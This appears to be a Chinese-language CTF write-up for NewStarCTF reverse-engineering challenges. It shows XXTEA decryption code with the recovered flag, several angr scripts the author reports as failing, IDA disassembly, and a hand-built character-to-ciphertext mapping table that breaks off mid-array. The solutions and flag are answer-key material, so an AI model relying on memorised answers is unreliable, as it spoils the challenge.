#define MX (((z ^ (key[(e ^ p) & 3])) + (y ^ sum)) ^ (((32 * z) ^ (y >> 3)) + ((4 * y) ^ (z >> 4)))) uint8_t ida_chars[] =
{
0x82, 0x8A, 0xFA, 0x38, 0x80, 0x13, 0x50, 0xD7, 0x9D, 0x96,
0x40, 0x0E, 0x20, 0x91, 0x16, 0x4E, 0xAB, 0x29, 0x3A, 0x71,
0x3D, 0x39, 0xE5, 0x6C, 0x2E, 0x75, 0x9D, 0xB6, 0xE6, 0x88,
0x1A, 0x84, 0x59, 0xB4, 0x31, 0x6F}; uint32_t key[] ={0x19,0x19,0x8,0x10}; void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main() {
uint32_t *p = (uint32_t *)ida_chars; // 这里自动实现了小端序的转换
for (int i=0;i<9;i++)
{
printf("%0x,",p[i]);
}
btea(p, -9, key);
for(int i = 0; i < 36; i +=1 ) { printf("%c", ida_chars[i]);
}
}

flag{H0P3_U_L1k3_Th15_CUP_0f_TEa.}

Annnnnggrr

0x01 angr 思路分析

结合题目,考点应该是 angr 的使用。

(173条消息) CTF 逆向工具angr的学习笔记___lifanxin的博客-CSDN博客_ctf逆向工具

【angr_ctf】二进制分析工具angr使用与练习-Part I(基础篇) - 求索 (gentlecp.com)

#encoding=utf-8
import angr # 方式1,通过期望地址 和 避免地址 进行 angr 符号处理 proj = angr.Project(r"./Annnnnggrr",auto_load_libs=False) #载入程序
state = proj.factory.entry_state() #找入口点
simgr = proj.factory.simgr(state) #从入口点开始爆破
simgr.explore(find=0x140002498,avoid=0x140002491) #期望路径 和 避免的路径
print (simgr.found[0].posix.dump(0)) #打印正确输入 # 该脚本无法跑出,应该是下面所示的,通过使用cmova,0x140002491、0x140002498两个地址都有使用到,所以导致上述脚本无用
.text:0000000140002484 88 05 C1 31 00 00             mov     cs:byte_14000564B, al
.text:000000014000248A E8 93 0C 00 00 call memcmp
.text:000000014000248A
.text:000000014000248F 85 C0 test eax, eax
.text:0000000140002491 48 8D 15 F8 1D 00 00 lea rdx, aFailed ; "Failed."
.text:0000000140002498 48 8D 0D E1 1D 00 00 lea rcx, aSuccess ; "Success!"
.text:000000014000249F 48 0F 45 CA cmovnz rcx, rdx ; Format
.text:00000001400024A3 E8 78 EB FF FF call sub_140001020 # cmp %rsi, %rdi
# cmova %rdx, %rax 如果RDI寄存器中的值大于RSI寄存器中的值,则把RAX寄存器中的值替换为RDX寄存器中的值。
# 方式二
# 通过输出值进行期望设置,来符号运算 但是,速度太慢,能否跑出来不知道【尝试跑了30分钟左右,放弃】 import angr
pro = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False) init_state = pro.factory.entry_state()
simu = pro.factory.simgr(init_state) def success(state):
output = state.posix.dumps(1) # get output from stdout
return b"Success!" in output def abort(state):
output = state.posix.dumps(1) # get output from stdout
return b"Failed." in output simu.explore(find=success, avoid=abort)
if simu.found:
res = simu.found[0]
for i in range(3):
print(res.posix.dumps(i))
else:
print("No result!")
#encoding=utf-8
import angr
import claripy # 方式三,设置寄存器 eax, 但也没有用。原因未知, p = angr.Project(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week3\Re\Annnnnggrr\Annnnnggrr.exe",auto_load_libs=False) init_addr = 0x140001103 # scanf的下一条指令地址
state = p.factory.blank_state(addr=init_addr) # 创建一个状态,并将该地址赋给它,也就是跳过输入,直接执行下一条指令,此处使用.blank_state()而不再是.entry_state() # 定义1个位向量,即1个输入
p1 = claripy.BVS('p1', 64*4) # 32位寄存器(符号向量)
# p2 = claripy.BVS('p2', 32)
# p3 = claripy.BVS('p3', 32) state.regs.eax = p1 # .regs.eax 访问eax这个寄存器
# state.regs.ebx = p2
# state.regs.edx = p3
sm = p.factory.simulation_manager(state) def good(state):
return b'Success!' in state.posix.dumps(1) def bad(state):
return b'Failed.' in state.posix.dumps(1) sm.explore(find=good, avoid=bad)
if sm.found:
find_state = sm.found[0]
flag1 = find_state.solver.eval(p1) # 将探索成功时的第一个输入赋给flag1,下面两个类似
# flag2 = find_state.solver.eval(p2)
# flag3 = find_state.solver.eval(p3)
# print('{:x} {:x} {:x}'.format(flag1, flag2, flag3))
print('{:x}'.format(flag1))

测试了好多,都没有用。但是题目显然就是考这个angr 符号求解,只能等Wp 看如何使用。

那还有其他解决方案吗?

0x02 其他解决方案

z3 or 爆破解决:

# z3发现解不出来,直接麻了!!!

# 后面尝试,直接爆破没居然无解

【整理数据花了很久,但没出结果,直接哭。这里原因未知,可能数据整理时有误,也可能其他】
【尝试爆破也无解,难道数据之间有相互运算,我没注意到???】

只能尝试最后一种方案了:利用程序,获取flag。【分析程序可以知道,各个位置上的,输入与输出有一一对应关系,依据线性关系,获取每个字符,每个位置对应的输出,ida 手动patch 出一一对应关系 的数据,然后根据密文映射出flag】

显然,这种方式很费时间【当然,如果能写交互脚本,patch data,又会简单很多】

下面是手动patch 出的映射关系表【不会写脚本,就勤能补拙吧】

# -*- coding: UTF-8 -*-

test = '!#$*+-0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{}~\'&'

enc = [0x4F, 0x17, 0x0C, 0x56, 0xDB, 0x67, 0x5D, 0x67, 0x32, 0x2B,
0x36, 0x03, 0x02, 0xF3, 0xA1, 0xE4, 0xC7, 0x27, 0xC1, 0xB6,
0x4C, 0xD7, 0x59, 0xA1, 0x71, 0x52, 0x9A, 0xE2, 0x21, 0x96,
0x0C, 0xCA] test_ = [[0xEE, 0x62, 0xCC, 0x20, 0xE9, 0x5B, 0x39, 0x0B, 0x0C, 0x93,
0xF0, 0x21, 0xC2, 0x04, 0x2F, 0x27, 0x8D, 0xBD, 0x81, 0x81,
0x9A, 0xE1, 0x09, 0x56, 0x33, 0x5D, 0x9F, 0x5C, 0x61, 0x17,
0xC5, 0x9E],
[0x60, 0x4C, 0xF2, 0x02, 0xA3, 0x19, 0xC7, 0xF9, 0xFE, 0x15,
0xF2, 0x23, 0x64, 0x7A, 0x25, 0x79, 0x43, 0x67, 0x37, 0xDB,
0x8C, 0x5B, 0x7B, 0xA8, 0x9D, 0x47, 0xFD, 0xDE, 0xD3, 0x5D,
0xF7, 0x7C],
[0xB5, 0x1F, 0xC7, 0x17, 0xE4, 0xFA, 0xD8, 0xB8, 0x45, 0x72,
0xBB, 0x24, 0x75, 0x8D, 0xDC, 0x54, 0xD8, 0x3A, 0x62, 0x2E,
0x21, 0x78, 0x84, 0x51, 0xBC, 0x26, 0xEA, 0x6D, 0xD8, 0xAE,
0xD4, 0x27],
[0x33, 0xCD, 0x59, 0x55, 0x4A, 0x04, 0x5A, 0x4A, 0x8B, 0xF0,
0x69, 0x2A, 0x8B, 0x97, 0xD6, 0x4A, 0x2A, 0xC0, 0x0C, 0x74,
0x17, 0x96, 0x3A, 0xA7, 0xB2, 0xFC, 0x6C, 0xD3, 0xC6, 0x08,
0xFA, 0x51],
[0xA8, 0xC4, 0xCA, 0xFA, 0x2B, 0x11, 0x9F, 0x51, 0x96, 0xED,
0xBA, 0x2B, 0x5C, 0xC2, 0x1D, 0x31, 0xAB, 0xDF, 0x5F, 0x63,
0x64, 0xF3, 0x23, 0x30, 0xD5, 0xBF, 0x55, 0xA6, 0x4B, 0xE5,
0x0F, 0x94],
[0xCA, 0x96, 0x80, 0x8C, 0x25, 0xCF, 0x1D, 0x27, 0xE0, 0x8F,
0x54, 0x2D, 0x5E, 0xA8, 0xB3, 0xBB, 0x91, 0x89, 0x15, 0x1D,
0xD6, 0xFD, 0x35, 0xE2, 0x57, 0xE9, 0x5B, 0x10, 0x65, 0xE3,
0xD9, 0x7A],
[0xD1, 0xF3, 0x6B, 0x63, 0x50, 0x0E, 0xAC, 0x44, 0x59, 0xFE,
0xDF, 0x30, 0x61, 0xE1, 0xD0, 0x68, 0x4C, 0x16, 0xF6, 0xEA,
0x7D, 0x24, 0x10, 0x3D, 0xF0, 0x42, 0xB6, 0x61, 0xFC, 0x7A,
0xE8, 0x03],
[0xFE, 0xB2, 0xBC, 0xB0, 0x99, 0xAB, 0x89, 0x3B, 0xBC, 0x43,
0x00, 0x31, 0x32, 0xF4, 0x9F, 0xB7, 0xDD, 0x2D, 0xD1, 0x31,
0x2A, 0xF1, 0x59, 0xE6, 0xC3, 0x2D, 0x4F, 0x6C, 0x31, 0xC7,
0x95, 0xEE], # 1
[0xDB, 0x05, 0x91, 0x8D, 0x52, 0x5C, 0x32, 0x82, 0x63, 0x28,
0x31, 0x32, 0xE3, 0x1F, 0x4E, 0x22, 0xB2, 0x18, 0x54, 0x3C,
0x8F, 0xEE, 0x42, 0xEF, 0x4A, 0x74, 0x04, 0xDB, 0x5E, 0xD0,
0x12, 0xA9], # 2
[0x30, 0xDC, 0x62, 0xD2, 0x13, 0x29, 0x57, 0x69, 0xAE, 0x85,
0x02, 0x33, 0xD4, 0xEA, 0x15, 0x09, 0x93, 0x17, 0x47, 0x0B,
0x9C, 0x2B, 0x4B, 0x78, 0xAD, 0x17, 0xAD, 0xAE, 0x23, 0x4D,
0xC7, 0xCC],
[0x45, 0x6F, 0x77, 0x27, 0xD4, 0xCA, 0x28, 0x68, 0xB5, 0xE2,
0xCB, 0x34, 0x25, 0x7D, 0x4C, 0xA4, 0xA8, 0xAA, 0xB2, 0xDE,
0x71, 0x88, 0x14, 0xE1, 0x0C, 0x76, 0x5A, 0x3D, 0x68, 0x5E,
0xE4, 0xB7],
[0xD2, 0x8E, 0xF8, 0xA4, 0x8D, 0x27, 0xF5, 0x1F, 0x58, 0x07,
0xDC, 0x35, 0xD6, 0x90, 0x8B, 0x93, 0x59, 0x41, 0x5D, 0xC5,
0xAE, 0x15, 0xDD, 0x2A, 0x8F, 0x41, 0x53, 0x18, 0x7D, 0x0B,
0x51, 0xF2],
[0x1F, 0x11, 0xAD, 0xD1, 0x46, 0x28, 0xDE, 0x56, 0x2F, 0x7C,
0x0D, 0x36, 0x37, 0x3B, 0xCA, 0x1E, 0xFE, 0xDC, 0x40, 0xF0,
0xA3, 0x02, 0x36, 0xE3, 0x76, 0x28, 0xA8, 0x57, 0xDA, 0x24,
0xAE, 0x2D],
[0x04, 0x88, 0xAE, 0x26, 0x37, 0x85, 0xF3, 0x3D, 0x9A, 0x99,
0x0E, 0x37, 0xD8, 0x26, 0x91, 0x15, 0xDF, 0x0B, 0xB3, 0x3F,
0x20, 0xFF, 0x1F, 0x4C, 0xB9, 0x3B, 0x41, 0x7A, 0x0F, 0x61,
0x83, 0x50],
[0xD9, 0x2B, 0xE3, 0x9B, 0x18, 0x06, 0x44, 0xBC, 0x51, 0xD6,
0xC7, 0x38, 0x39, 0x09, 0xE8, 0xC0, 0xB4, 0x2E, 0x9E, 0x92,
0x15, 0xFC, 0x38, 0x45, 0xA8, 0x5A, 0xAE, 0xA9, 0xF4, 0xA2,
0x00, 0xFB],
[0xA6, 0x6A, 0xF4, 0x08, 0xE1, 0x83, 0xA1, 0xB3, 0x14, 0xFB,
0x08, 0x39, 0x4A, 0x3C, 0x57, 0xEF, 0xA5, 0x25, 0x79, 0xD9,
0x62, 0x69, 0x01, 0x8E, 0x7B, 0x45, 0x67, 0xD4, 0x69, 0xCF,
0x8D, 0xA6], # 9
[0xE1, 0x43, 0x9B, 0xF3, 0x80, 0xDE, 0x3C, 0x74, 0x09, 0x2E,
0xEF, 0x40, 0xD1, 0x11, 0x40, 0x78, 0x5C, 0xC6, 0xC6, 0x5A,
0x0D, 0xB4, 0x60, 0x0D, 0x00, 0x52, 0xE6, 0xF1, 0x0C, 0x2A,
0xB8, 0x93], # @
[0xCE, 0x82, 0x6C, 0x40, 0x09, 0xBB, 0x99, 0x6B, 0xEC, 0x73,
0x50, 0x41, 0xA2, 0xE4, 0x8F, 0xC7, 0xED, 0xDD, 0xE1, 0x61,
0x3A, 0x41, 0x69, 0x36, 0x53, 0xFD, 0xBF, 0xBC, 0xC1, 0xF7,
0xE5, 0xFE], # A
[0xEB, 0x15, 0x01, 0xDD, 0x02, 0xAC, 0x42, 0x32, 0x93, 0x58,
0xC1, 0x42, 0x13, 0x0F, 0x3E, 0xF2, 0x82, 0x88, 0x64, 0xEC,
0xDF, 0x7E, 0x52, 0x7F, 0x1A, 0x44, 0x34, 0x2B, 0x2E, 0x40,
0xA2, 0xB9],
[0xC0, 0xEC, 0x92, 0x22, 0xC3, 0x79, 0xA7, 0x59, 0xDE, 0xF5,
0xD2, 0x43, 0x44, 0xDA, 0x05, 0x19, 0xA3, 0x07, 0x17, 0x3B,
0x2C, 0x3B, 0xDB, 0x88, 0x3D, 0x67, 0x1D, 0xBE, 0xB3, 0x3D,
0x17, 0x5C],
[0x95, 0x3F, 0xE7, 0x37, 0x04, 0xDA, 0x38, 0x18, 0x25, 0x52,
0x1B, 0x44, 0x55, 0xED, 0x3C, 0xF4, 0xB8, 0x5A, 0xC2, 0x0E,
0xC1, 0x58, 0xE4, 0x31, 0xDC, 0x46, 0x8A, 0xCD, 0xB8, 0x8E,
0x74, 0x87],
[0xE2, 0x1E, 0x28, 0xF4, 0x3D, 0x77, 0x85, 0x8F, 0x88, 0xB7,
0x2C, 0x45, 0x86, 0x80, 0x7B, 0x63, 0xA9, 0xB1, 0xAD, 0xF5,
0x3E, 0x25, 0x6D, 0xFA, 0x9F, 0x51, 0x43, 0x28, 0xCD, 0x3B,
0x61, 0x82],
[0x6F, 0xA1, 0xDD, 0x21, 0xB6, 0xB8, 0xAE, 0xC6, 0xDF, 0xAC,
0x9D, 0x46, 0xE7, 0xEB, 0x7A, 0xEE, 0x4E, 0x4C, 0xD0, 0xA0,
0xF3, 0x92, 0x06, 0x33, 0x06, 0x78, 0x18, 0xE7, 0xEA, 0x94,
0xFE, 0xFD],
[0x94, 0xD8, 0x1E, 0x36, 0x67, 0x55, 0x03, 0xAD, 0x8A, 0xC9,
0x5E, 0x47, 0x08, 0xD6, 0x81, 0x25, 0xAF, 0xFB, 0x03, 0xEF,
0xF0, 0x0F, 0xEF, 0x1C, 0x89, 0x8B, 0x31, 0x8A, 0x1F, 0x11,
0x13, 0xE0],
[0x29, 0x3B, 0xD3, 0xEB, 0x08, 0xD6, 0x14, 0x6C, 0xC1, 0xC6,
0x57, 0x48, 0xA9, 0xB9, 0x18, 0xD0, 0xC4, 0xDE, 0x6E, 0x42,
0xA5, 0x4C, 0x08, 0x95, 0x38, 0x2A, 0x5E, 0xB9, 0x44, 0x92,
0x50, 0xCB],
[0xF6, 0x7A, 0x64, 0x98, 0x91, 0x53, 0x31, 0x23, 0x04, 0x2B,
0x18, 0x49, 0xFA, 0xAC, 0x87, 0x3F, 0xF5, 0x55, 0xC9, 0x49,
0x72, 0x79, 0xD1, 0x1E, 0x0B, 0x95, 0x97, 0xE4, 0xB9, 0x7F,
0xDD, 0x76], # I
[0x13, 0xED, 0x79, 0x75, 0xEA, 0xE4, 0x3A, 0x2A, 0x6B, 0xD0,
0x49, 0x4A, 0xEB, 0x77, 0xB6, 0x6A, 0x0A, 0x60, 0xEC, 0xD4,
0xB7, 0x76, 0x1A, 0x87, 0x52, 0x9C, 0x8C, 0x33, 0xA6, 0x68,
0x9A, 0x31],
[0x88, 0xE4, 0xEA, 0x9A, 0x4B, 0x71, 0xFF, 0x31, 0xF6, 0x4D,
0x9A, 0x4B, 0x3C, 0xA2, 0xFD, 0xD1, 0x8B, 0xFF, 0xBF, 0x43,
0x04, 0xD3, 0x83, 0x10, 0xF5, 0x5F, 0x75, 0x86, 0xAB, 0xC5,
0xAF, 0xF4],
[0x1D, 0xF7, 0x3F, 0x4F, 0x8C, 0xF2, 0xD0, 0x50, 0x7D, 0x2A,
0x83, 0x4C, 0xAD, 0x15, 0xF4, 0xAC, 0xC0, 0x32, 0x0A, 0x56,
0x19, 0xF0, 0x0C, 0xB9, 0x74, 0x9E, 0xC2, 0xF5, 0xF0, 0x36,
0x6C, 0x5F],
[0x2A, 0xB6, 0xA0, 0xAC, 0x45, 0x2F, 0xFD, 0x87, 0x40, 0xEF,
0xB4, 0x4D, 0xBE, 0x08, 0x93, 0x5B, 0xF1, 0x29, 0xF5, 0xFD,
0xF6, 0xDD, 0x15, 0xC2, 0x77, 0x09, 0xFB, 0xF0, 0x45, 0x43,
0xF9, 0x5A], # M
[0xD7, 0x19, 0x15, 0x39, 0x1E, 0x30, 0xA6, 0xDE, 0x17, 0x84,
0xA5, 0x4E, 0x3F, 0x13, 0x12, 0x86, 0xD6, 0x84, 0x98, 0x28,
0x6B, 0xEA, 0xEE, 0x9B, 0x7E, 0x70, 0xD0, 0xEF, 0x02, 0x1C,
0xD6, 0x35],
[0x7C, 0x50, 0x76, 0xCE, 0xCF, 0xAD, 0x7B, 0x45, 0x42, 0x61,
0x66, 0x4F, 0x80, 0xBE, 0xD9, 0xBD, 0x37, 0xB3, 0x2B, 0xD7,
0xC8, 0x87, 0xB7, 0xE4, 0x61, 0x03, 0x69, 0x52, 0x97, 0xF9,
0x4B, 0xF8],
[0x31, 0x13, 0x8B, 0x03, 0xF0, 0xEE, 0x8C, 0x24, 0xB9, 0xDE,
0xBF, 0x50, 0xC1, 0x41, 0x30, 0x08, 0x2C, 0xB6, 0x56, 0xCA,
0x9D, 0x04, 0xF0, 0x9D, 0x10, 0x62, 0xD6, 0x41, 0x5C, 0x5A,
0x08, 0x63],
[0x5E, 0x52, 0xDC, 0x50, 0xB9, 0x0B, 0x69, 0x1B, 0x9C, 0x23,
0xE0, 0x51, 0x12, 0xD4, 0xFF, 0xD7, 0x3D, 0x4D, 0xB1, 0x11,
0x4A, 0xD1, 0xB9, 0x46, 0x63, 0xCD, 0x6F, 0x4C, 0x91, 0x27,
0x35, 0x4E],
[0x3B, 0xA5, 0x31, 0xAD, 0x72, 0xBC, 0x12, 0x62, 0xC3, 0x88,
0x11, 0x52, 0x43, 0xFF, 0x2E, 0xC2, 0x92, 0xB8, 0x34, 0x1C,
0xAF, 0x4E, 0xA2, 0x4F, 0x6A, 0x94, 0x24, 0x3B, 0x3E, 0xB0,
0xB2, 0x09],
[0x10, 0xFC, 0x82, 0xF2, 0x33, 0x89, 0x37, 0xC9, 0x8E, 0x65,
0x62, 0x53, 0x34, 0xCA, 0xF5, 0xA9, 0x73, 0x37, 0xA7, 0xEB,
0x3C, 0x8B, 0xAB, 0x58, 0x4D, 0xB7, 0x4D, 0x8E, 0x83, 0xAD,
0x67, 0x2C],
[0x25, 0x8F, 0x17, 0xC7, 0xF4, 0xAA, 0x08, 0x48, 0x95, 0xC2,
0xAB, 0x54, 0x85, 0xDD, 0x2C, 0xC4, 0x08, 0xCA, 0x92, 0x3E,
0x11, 0x68, 0xF4, 0x41, 0x2C, 0x16, 0x7A, 0x9D, 0x48, 0xBE,
0x04, 0x97],
[0xB2, 0x2E, 0x18, 0x44, 0xAD, 0x87, 0x55, 0xFF, 0xB8, 0x67,
0x3C, 0x55, 0x36, 0x70, 0x6B, 0xB3, 0x39, 0x61, 0x3D, 0xA5,
0xCE, 0x75, 0xBD, 0x8A, 0xAF, 0x61, 0xF3, 0xF8, 0x5D, 0xEB,
0x71, 0xD2],
[0x7F, 0xB1, 0x4D, 0xF1, 0xE6, 0x88, 0x3E, 0xB6, 0x0F, 0xDC,
0xED, 0x56, 0x97, 0x1B, 0xAA, 0x3E, 0xDE, 0x7C, 0xA0, 0x50,
0x43, 0x62, 0x96, 0xC3, 0x16, 0x48, 0x48, 0xB7, 0xBA, 0x04,
0xCE, 0x8D],
[0x64, 0x28, 0x4E, 0xC6, 0xD7, 0x65, 0xD3, 0x9D, 0xFA, 0x79,
0xEE, 0x57, 0x38, 0x86, 0xF1, 0x35, 0x3F, 0xAB, 0x13, 0x1F,
0xC0, 0xDF, 0xFF, 0x2C, 0x59, 0xDB, 0xE1, 0xDA, 0xEF, 0x41,
0xA3, 0xB0],
[0x39, 0xCB, 0x03, 0x3B, 0x38, 0x66, 0x24, 0x9C, 0xB1, 0xB6,
0xA7, 0x58, 0x99, 0x69, 0x48, 0xE0, 0x94, 0x4E, 0xFE, 0xF2,
0xB5, 0x5C, 0x98, 0xA5, 0xC8, 0xFA, 0x4E, 0x89, 0xD4, 0x82,
0xA0, 0xDB],
[0x86, 0x0A, 0x94, 0x28, 0x01, 0xE3, 0x81, 0x93, 0x74, 0x5B,
0xE8, 0x59, 0x2A, 0x1C, 0x37, 0x8F, 0x05, 0x45, 0x59, 0xB9,
0x02, 0xC9, 0x61, 0xEE, 0x1B, 0xE5, 0x07, 0x34, 0xC9, 0xAF,
0x2D, 0x06],
[0x63, 0xBD, 0x69, 0x05, 0x1A, 0x74, 0xCA, 0xDA, 0x1B, 0x00,
0x99, 0x5A, 0x9B, 0xA7, 0xE6, 0xBA, 0x5A, 0xD0, 0xFC, 0x44,
0xC7, 0x46, 0xEA, 0x97, 0x22, 0xAC, 0x7C, 0x03, 0xF6, 0x98,
0x6A, 0x01], # Z
[0x8C, 0xE0, 0x26, 0xDE, 0xFF, 0xFD, 0x8B, 0x35, 0x32, 0x11,
0x36, 0x5F, 0x30, 0xEE, 0xC9, 0x4D, 0xC7, 0xE3, 0x7B, 0x87,
0x18, 0xD7, 0xC7, 0xF4, 0x71, 0x53, 0x19, 0xE2, 0xE7, 0x69,
0x9B, 0xC8],
[0xAE, 0xA2, 0x0C, 0xE0, 0xA9, 0x9B, 0x79, 0x4B, 0xCC, 0x53,
0xB0, 0x61, 0x02, 0x44, 0x6F, 0x67, 0xCD, 0x7D, 0xC1, 0x41,
0x5A, 0xA1, 0x49, 0x16, 0xF3, 0x1D, 0xDF, 0x9C, 0x21, 0xD7,
0x05, 0xDE], # a
[0xCB, 0xB5, 0xA1, 0xFD, 0xA2, 0x0C, 0x22, 0x92, 0xF3, 0xB8,
0xA1, 0x62, 0xF3, 0xEF, 0x9E, 0x92, 0xE2, 0xA8, 0xC4, 0x4C,
0x7F, 0xDE, 0xB2, 0x5F, 0xBA, 0x64, 0x54, 0x8B, 0x8E, 0xA0,
0x42, 0x99],
[0x20, 0x8C, 0x32, 0xC2, 0x63, 0x59, 0x07, 0x39, 0xBE, 0xD5,
0xB2, 0x63, 0xA4, 0xBA, 0x65, 0xB9, 0x83, 0x27, 0x77, 0x9B,
0x4C, 0x1B, 0xBB, 0x68, 0x5D, 0x07, 0x3D, 0x1E, 0x93, 0x1D,
0x37, 0xBC],
[0x75, 0x5F, 0x07, 0xD7, 0xA4, 0x3A, 0x18, 0xF8, 0x05, 0x32,
0x7B, 0x64, 0xB5, 0xCD, 0x1C, 0x94, 0x18, 0xFA, 0xA2, 0xEE,
0xE1, 0x38, 0xC4, 0x11, 0x7C, 0xE6, 0x2A, 0xAD, 0x98, 0x6E,
0x14, 0x67],
[0xC2, 0xBE, 0x48, 0x94, 0xDD, 0xD7, 0xE5, 0x6F, 0xE8, 0x97,
0x0C, 0x65, 0xE6, 0xE0, 0xDB, 0x83, 0x09, 0x51, 0x8D, 0x55,
0x5E, 0x05, 0xCD, 0x5A, 0xBF, 0x71, 0xE3, 0x08, 0x2D, 0x9B,
0x01, 0xE2],
[0x4F, 0x41, 0x7D, 0xC1, 0xD6, 0x98, 0x0E, 0xA6, 0xBF, 0x0C,
0x7D, 0x66, 0xC7, 0xCB, 0xDA, 0x8E, 0x2E, 0xEC, 0x30, 0x80,
0x93, 0xF2, 0xE6, 0x13, 0xA6, 0x18, 0xB8, 0xC7, 0x4A, 0x74,
0x9E, 0xDD],
[0xF4, 0xF8, 0x3E, 0x56, 0x87, 0x35, 0x63, 0x0D, 0xEA, 0xA9,
0x3E, 0x67, 0xE8, 0xB6, 0xE1, 0x45, 0x0F, 0x9B, 0xE3, 0xCF,
0x90, 0xEF, 0xCF, 0x7C, 0x29, 0xAB, 0x51, 0xEA, 0xFF, 0x71,
0xB3, 0x40],
[0x89, 0xDB, 0x73, 0x0B, 0x28, 0x36, 0x74, 0xCC, 0x21, 0xA6,
0xB7, 0x68, 0x09, 0x19, 0xF8, 0x70, 0xA4, 0xFE, 0xCE, 0x22,
0x45, 0x2C, 0x68, 0xF5, 0x58, 0xCA, 0xFE, 0x99, 0xA4, 0xF2,
0xF0, 0x2B],
[0x56, 0x9A, 0x04, 0xB8, 0x31, 0x33, 0x11, 0x03, 0xE4, 0x8B,
0x78, 0x69, 0xDA, 0x0C, 0x67, 0xDF, 0x55, 0x75, 0xA9, 0xA9,
0x12, 0xD9, 0x31, 0xFE, 0xAB, 0xB5, 0x37, 0xC4, 0x99, 0x5F,
0xFD, 0x56],
[0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
0x3A, 0x91],
[0xF3, 0x0D, 0x99, 0x15, 0x0A, 0x44, 0x9A, 0x8A, 0x4B, 0xB0,
0x29, 0x6A, 0xCB, 0xD7, 0x16, 0x8A, 0x6A, 0x80, 0x4C, 0x34,
0xD7, 0x56, 0x7A, 0x67, 0x72, 0xBC, 0xAC, 0x13, 0x86, 0xC8,
0x3A, 0x91],
[0x7D, 0x17, 0x5F, 0xEF, 0xAC, 0xD2, 0xB0, 0x30, 0xDD, 0x0A,
0xE3, 0x6C, 0x0D, 0x75, 0xD4, 0xCC, 0xA0, 0x52, 0xEA, 0xB6,
0xB9, 0xD0, 0x6C, 0x99, 0x14, 0x3E, 0x62, 0xD5, 0x50, 0x96,
0x0C, 0xBF],
[0x8A, 0xD6, 0xC0, 0x4C, 0xE5, 0x0F, 0x5D, 0x67, 0xA0, 0x4F,
0x14, 0x6D, 0x9E, 0xE8, 0xF3, 0xFB, 0xD1, 0x49, 0x55, 0xDD,
0x96, 0xBD, 0x75, 0xA2, 0x17, 0xA9, 0x9B, 0x50, 0x25, 0xA3,
0x19, 0xBA],
[0x37, 0xB9, 0xB5, 0xD9, 0xBE, 0x90, 0x06, 0x3E, 0x77, 0xE4,
0x85, 0x6E, 0x9F, 0xF3, 0xF2, 0xA6, 0x36, 0x24, 0xF8, 0x88,
0x0B, 0x4A, 0xCE, 0x7B, 0x9E, 0x10, 0x70, 0x4F, 0xE2, 0xFC,
0xF6, 0x15],
[0xDC, 0x70, 0x96, 0x6E, 0xEF, 0x8D, 0xDB, 0x25, 0x22, 0x41,
0xC6, 0x6F, 0xE0, 0x1E, 0xB9, 0xDD, 0x97, 0x53, 0x0B, 0xB7,
0xE8, 0xE7, 0x97, 0xC4, 0x01, 0x23, 0x09, 0x32, 0x77, 0x59,
0x6B, 0x58],
[0x91, 0x33, 0xAB, 0x23, 0x10, 0x4E, 0xEC, 0x84, 0x19, 0xBE,
0x9F, 0x70, 0xA1, 0x21, 0x10, 0xA8, 0x8C, 0xD6, 0x36, 0xAA,
0x3D, 0xE4, 0x50, 0xFD, 0xB0, 0x02, 0xF6, 0xA1, 0xBC, 0x3A,
0x28, 0x43],
[0xBE, 0xF2, 0xFC, 0x70, 0x59, 0xEB, 0xC9, 0x7B, 0x7C, 0x03,
0xC0, 0x71, 0x72, 0x34, 0xDF, 0xF7, 0x1D, 0xED, 0x11, 0xF1,
0xEA, 0xB1, 0x99, 0xA6, 0x83, 0xED, 0x8F, 0xAC, 0xF1, 0x87,
0xD5, 0x2E],
[0x9B, 0x45, 0xD1, 0x4D, 0x12, 0x9C, 0x72, 0xC2, 0x23, 0xE8,
0xF1, 0x72, 0x23, 0x5F, 0x8E, 0x62, 0xF2, 0xD8, 0x94, 0xFC,
0x4F, 0xAE, 0x82, 0xAF, 0x0A, 0x34, 0x44, 0x1B, 0x1E, 0x90,
0x52, 0xE9],
[0xF0, 0x1C, 0xA2, 0x92, 0xD3, 0x69, 0x97, 0xA9, 0x6E, 0x45,
0xC2, 0x73, 0x14, 0x2A, 0x55, 0x49, 0xD3, 0xD7, 0x87, 0xCB,
0x5C, 0xEB, 0x8B, 0x38, 0x6D, 0xD7, 0xED, 0xEE, 0xE3, 0x0D,
0x07, 0x0C],
[0x05, 0xAF, 0xB7, 0xE7, 0x94, 0x0A, 0x68, 0xA8, 0x75, 0xA2,
0x8B, 0x74, 0x65, 0xBD, 0x8C, 0xE4, 0xE8, 0x6A, 0xF2, 0x9E,
0x31, 0x48, 0x54, 0xA1, 0xCC, 0x36, 0x9A, 0x7D, 0x28, 0x1E,
0x24, 0xF7],
[0x92, 0xCE, 0x38, 0x64, 0x4D, 0x67, 0x35, 0x5F, 0x18, 0xC7,
0x9C, 0x75, 0x16, 0xD0, 0xCB, 0xD3, 0x99, 0x01, 0x9D, 0x85,
0x6E, 0xD5, 0x1D, 0xEA, 0x4F, 0x01, 0x93, 0x58, 0x3D, 0xCB,
0x91, 0x32],
[0xDF, 0x51, 0xED, 0x91, 0x06, 0x68, 0x1E, 0x96, 0xEF, 0x3C,
0xCD, 0x76, 0x77, 0x7B, 0x0A, 0x5E, 0x3E, 0x9C, 0x80, 0xB0,
